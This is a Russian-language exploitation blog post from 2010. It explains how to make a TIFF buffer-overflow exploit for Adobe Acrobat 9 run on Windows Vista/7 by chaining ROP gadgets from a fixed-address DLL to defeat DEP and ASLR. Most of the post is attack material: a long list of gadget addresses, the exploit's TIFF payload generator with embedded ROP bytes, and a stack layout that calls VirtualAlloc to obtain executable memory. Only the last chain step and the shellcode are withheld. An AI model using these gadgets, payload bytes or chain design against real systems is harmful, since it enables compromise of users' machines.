3/28/2010

раскрутка уязвимостей переполнения буфера на Windows NT6

Собственно, в посте рассмотривается один из подходов к эксплуатации уязвимостей на NT6 (Windows Vista/Seven и подобных клонах). Он не единственный и не претендует на уникальность, тем не менее у многих вызывает некоторые сложности в освоении, посему попытаемся устранить этот пробел. Для эксперимента будет использован эксплойт villy (все подробности на http://bugix-security.blogspot.com/20...tcve.html) и программа Adobe Acrobat 9.0.0 Pro Extended.
Практика показывает, что большинство авторов затачивают свои творения под Windows XP и под другие подобные поделки Microsoft-а пятого билда. Если взять любой сплойт под софт на Windows XP, то вряд ли вы увидите, как он добросовестно отработает на Vista/Seven, - результатом его работы скорее всего будет окно с недвухсмысленным содержанием "Прекращена работа приложения" - причина APPCRASH.

Применительно к сплойту villy - на его блоге написано следующее(цитирую):
"Exploit in this file successfully executed in Adobe Reader 9.2, 9.3 on Windows XP (SP2, SP3) but didn't work on Windows Vista and Windows 7."
Да, это так: сплойт не работает под Vista/Seven, но это не означает, что нельзя эту уязвимость заэксплуатировать на NT6.
И так, слабонервных просим удалиться. Приступим.
В общем уязвимость позволяет переписать область стека, в котором располагаются в частности адреса возвратов. Взглянем на стек после перезаписи:
_______________________
0x0026e070| 080c0c00 ; адрес 0x0026e070 используется в качестве назначения для функции memcpy
0x0026e074| 00010124
0x0026e078| 070072f7 ; первый адрес возврата
0x0036e07c| ........

На первый взгляд кажется, что на Vista или Seven привязаться не к чему: база стека при каждой загрузке программы меняется, базовые адреса модулей, используемых программой, также меняются, а базы системных модулей ntdll.dll и kernelbase.dll меняются с каждой перезагрузкой системы. К нашему счастью (для чистоты эксперимента) в адресном пространстве Adobe Acrobat 9.0.0 Pro Extended такой модуль есть, и имя ему acaptuser32.dll. О его назначении остается только догадываться, но об этом пусть думают другие. Кстати говоря, в Acrobat Reader 9.x.x также есть модуль, который располагается в АП процесса по фиксированному адресу, что повышает ваши шансы заюзать клиентскую машину и Adobe Acrobat 9 Pro и Acrobat Reader 9. Методика заключается в использовании инструкций вышеуказанного модуля (а в общем тех, что лежат по фиксированному вирт. адресу).
И так, есть модуль acaptuser32.dll, расположенный по фиксированному адресу 0x10000000 в АП процесса. Всё, что нужно - подобрать адреса нужных нам наборов инструкций. Для наиболее быстрого решения задачи эксплуатации будем искать адреса блоков инструкций, имеющих следующий вид:
инструкция_1
инструкция_2
инструкция_N
retn i
Также вы вольны выбрать и другие инструкции. Наиболее пригодным средством (по мнению автора) для этого будет OllyDbg, поскольку она умеет искать конкретную инструкцию или набор инструкций. Вот, что получилось (для пояснения: в коментариях указаны операции, выполняемые процессором согласно их порядку следования):
#----------------------------
# (eax=0) && (retn)
100059B8 XOR EAX,EAX
100059BA RETN

#----------------------------
# (eax=0) && (eax++) && retn
1000185E XOR EAX,EAX
10001860 INC EAX
10001861 RETN

#----------------------------
# (*eax=0) && (al=1) && (retn)
10001CB4 MOV BYTE PTR DS:[EAX],0
10001CB7 MOV AL,1
10001CB9 RETN

#----------------------------
# (eax = eax OR ebx ) && (pop ebx) && retn
100026E6 OR EAX,EBX
100026E8 POP EBX
100026E9 RETN

#----------------------------
# (al=1) && (retn
10002929 MOV AL,1
1000292B RETN 8

#----------------------------
# (retn 0x0C)
10002A2F RETN 0C

#----------------------------
# (edi++) && (*esi += edi) && (pop edi) && (pop ebx) && (pop esi) && (retn)
100031DA INC EDI
100031DB ADD DWORD PTR DS:[ESI],EDI
100031DD POP EDI
100031DE POP EBX
100031DF POP ESI
100031E0 RETN

#----------------------------
# (eax = *(esp+4)) && (retn)
100045B5 MOV EAX,DWORD PTR SS:[ESP+4]
100045B9 RETN

#----------------------------
# (pop ecx) && (pop ecx) && (retn)
10004875 POP ECX
10004876 POP ECX
10004877 RETN

#----------------------------
# (i=eax; eax=esp; esp=i) && (eax = *(eax)) && (*(esp)=eax) && (retn)
10004C8B XCHG EAX,ESP
10004C8C MOV EAX,DWORD PTR DS:[EAX]
10004C8E MOV DWORD PTR SS:[ESP],EAX
10004C91 RETN

#----------------------------
# (eax=0) && (pop esi) && (retn)
10005165 XOR EAX,EAX
10005167 POP ESI
10005168 RETN

#----------------------------
# (pop ebx) && (retn)
100052AB POP EBX
100052AC RETN

#----------------------------
# (eax = *(eax)) && (pop esi) && (retn) отличный вариант для разимнования
10005355 MOV EAX,DWORD PTR DS:[EAX]
10005357 POP ESI
10005358 RETN

#----------------------------
# неплохой способ для передачи управления по *(esp)
# c сохранением eax в стек
# (eax <=> *(esp)) && (goto eax)
100055CC XCHG DWORD PTR SS:[ESP],EAX
100055CF JMP EAX

#----------------------------
# отлично подойдет для вызова функции с количеством аргументов
# от 0 до 3 (идеальный вариант для вызова memcpy)
100057E9 PUSH EDI
100057EA PUSH ESI
100057EB PUSH EBX
100057EC CALL EAX

#----------------------------
# (eax=esi) && (pop esi) && (retn)
100062C6 MOV EAX,ESI
100062C8 POP ESI
100062C9 RETN

#----------------------------
# (eax=edi) && (pop esi) && (retn)
10006301 MOV EAX,EDI
10006303 POP ESI
10006304 RETN

#----------------------------
# (eax = *(esp+) && (pop esi) && (retn)
10006452 MOV EAX,DWORD PTR SS:[ESP+8]
10006456 POP ESI
10006457 RETN

#----------------------------
# (eax+=0x08) && (retn)
10006DDA ADD EAX,8
10006DDD RETN

#----------------------------
# (eax+=0x0C) && (retn)
10006E00 ADD EAX,0C
10006E03 RETN

#----------------------------
# (*(esi) OR eax) && (retn)
100071AD OR DWORD PTR DS:[ESI],EAX
100071AF RETN

#----------------------------
# ((*(esi))++) && retn
100071B0 INC DWORD PTR DS:[ESI]
100071B2 RETN

#----------------------------
# (jmp ecx)
10008D5B PUSH ECX
10008D5C RETN

Выше приведен далеко не полный перечень наборов инструкций, которые могуть быть использованы. Также в модуле реализованы функции копирования (типа memcpy), поиск которых я оставляю вам.

Каким образом построить эксплойт? Здесь каждый выбирает сам. Стоит учесть, что на на Windows NT6 узким местом является DEP + ASLR. Первый ограничивает выполнение кода в страницах памяти, которые помечены как "неисполняемые" (при условии, что DEP thunk emulation не разрешен для процесса). Второй органичивает передачу управления по заранее известному адресу. Оптимальным вариантом будет алгоритм шеллкода:
1 - выделение процессу страниц памяти с атрибутами READ | WRITE | EXECUTE
2 - копирование шеллкода (или его "загрузочной" части) в выделенную память
3 - передача управления на шеллкод (в общем, на то, что скопировали в п.2)

Можно задействовать и схему с установкой атрибута READ | WRITE | EXECUTE с помощью VirtualProtect для страницы, в которой лежит Ваш шеллкод с последующей передачей в него управления. Суть не меняется.
К счастью в acaptuser32.dll импортирует функции VirtualAlloc/VirtualAllocEx, что не может не радовать. Если в вашем случае нет функций выделения страниц памяти, можно поискать другие функции типа VirtualProtect,WriteProcessMemory,FlushInstructionCache. Помните, что вы вольны использовать вызов системного сервиса ZwProtectVirtualMemory/ZwAllocateVirtualMemory и других в обход обертки kernelbase.dll, но при этом придется определить номер сервиса в SSDT на эксплуатируемой windows-машине (см. ntdll.dll для различных сборок Windows). Рассуждения по поводу определения номера сервиса опускаем, поскольку это не является предметом рассмотрения в посте.

Применительно к сплойту для tiff oпустим основную часть генератора pdf-документа, и возьмем суть, а именно содержимое tiff-потока. В оригинале оный выглядит так(нагрузка по запуску calc.exe вырезана):
tiff =
"\x49\x49\x2a\x00" + [TIFF_OFFSET].pack("I") +
("\x90" * SHELL_OFFSET ) + self.shellcode +
("\x90" * (TIFF_OFFSET - 8 - self.shellcode.size() - SHELL_OFFSET)) +
"\x07\x00\x00\x01\x03\x00\x01\x00" +
"\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"+
"\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"+
"\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"+
"\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"+
"\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"+
"\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00"+
"\xF7\x72\x00\x07"+ # адрес возврата на стеке
"\x04\x01"+
"\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"+
"\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"+
"\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"+
"\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"+
"\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"+
"\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"+
"\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"+
"\x00\x07"

В процессе тестирования сплойта мы определяем, что акробатом вызывается функция mempcy(pvAddressOnStack, pvSource, 0x130), включительно с данных \x00\x0C\x0C\x08\x24\x01\x01\x00 (см. выше tiff). После копирования стек выглядит следующим образом:
pvAddressOnStack+0x00: 0x080C0C00
pvAddressOnStack+0x04: 0x00010124
pvAddressOnStack+0x08: ... ; здесь был адрес возврата, который был перезаписан
pvAddressOnStack+0x0С: ...

Определенно, адрес нашей первой инструкции шеллкода должен быть записан в ячейку стека pvAddressOnStack+0x08. Мы для простоты заюзаем импортируемую VirtualAlloc, адрес на которую хранится в ячейке 0x10010110 импорта acaptuser32.dll. Тогда первой операцией шелкода должна быть (условно) операция разыменования ячейки 0x10010110 с целью получения адреса VirtualAlloc в контексте процесса с дальнейшим её вызовом. Для этого можно использовать связки инструкций изи acaptuser32.dll:
блок 1 с адресом 0x1000928A: код (pop eax) && (pop esi) && (retn)
блок 2 с адресом 0x10005355: код (eax = [eax]) && (pop esi) && (retn)
блок 3 с адресом 0x100055CF: код (jmp eax)

Теперь представим содержимое стека для наглядности:
pvAddressOnStack+0x08: 0x1000928A | адрес блока 1
pvAddressOnStack+0x0c: 0x10010110 | значение для eax
pvAddressOnStack+0x10: 0x0badf00d | значение для esi
pvAddressOnStack+0x14: 0x10005355 | адрес блока 2
pvAddressOnStack+0x18: 0x0badf00d | значение для esi
pvAddressOnStack+0x18: 0x100055CF | адрес блока 3

Поясняю вышепредставленный бред. К моменту выхода из уязвимой функции адрес возврата (он в pvAddressOnStack+0x08 ) будет указывать на наш код, который занесет адрес ячейки импорта, по которой лежит адрес VirtualAlloc. При выходе из первого блока управление уйдет на инструкцию разименования адреса импорта (eax = [eax]), после выполения которой в eax будет размещен адрес VirtualAlloc. При выходе из второго блока управление уйдет в блок 3, который передает управление в VirtualAlloc. И так, мы передали управление в Kernel32.dll::VirtualAlloc. В наших интересах она должна выделить процессу память, поэтому нужно позаботиться о параметрах для неё. Вспомним анатомию вызова WINAPI на уровне ассемблера:
push arg_N
push ...
push arg_1
push arg_0
call WINAPI SomeRoutine
WINAPI придерживается конвенции __stdcall, поэтому при выходе в вызывающую программу восстанавливает стек, зарезервированный вызывающим кодом для аргументов (вобщем вызвыает retn size_on_stack_with_args). В нашем случае, стек должен выглядеть следующим образом (продолжение):
pvAddressOnStack+0x1C: 0xXXXXXXXX | адрес блока 4 (закрыто от лентяев )
pvAddressOnStack+0x20: 0x00000000 | arg_0: lpAddress =NULL
pvAddressOnStack+0x24: 0x00001000 | arg_1: dwSize = 0x1000
pvAddressOnStack+0x28: 0x00003000 | arg_2: flAllocType= MEM_COMMIT | MEM_RESERVE
pvAddressOnStack+0x2C: 0x00000040 | arg_3: flProtect = READ | WRITE | EXECUTE

После выполения VirtualAlloc адрес выделенной памяти будет в eax, а управление перейдет по адресу, размещенному в стеке по адресу pvAddressOnStack+0x1C.

И так, мы имеем страницу памяти с атрибутами RWE. Думаю, принцип понятен. Далее используя блоки инструкций переносим шел в нашу страницу и передаем на неё управление. Собственно, реализацию этого я оставляю Вам, поскольку у автора нет желания выдавать рабочий сплойт в студию. Да и Вам будет полезно самим отточить навыки и раскрутить представленную методу.

Замечу, что можно вышеописанный подход с VirtualAlloc является не единственным. К примеру, вы можете заюзать VirtualProtect (о чем упоминалось выше) с параметром lpAddress, указывающим на стек. Но при использовании методики с VirtualProtect будьте внимательны: эта функция дает положительный результат и для не выровненного адреса, в следствии чего атрибуты защиты будут изменены и для страницы, в которую указывает адрес ((ULONG)lpAddress + dwSize).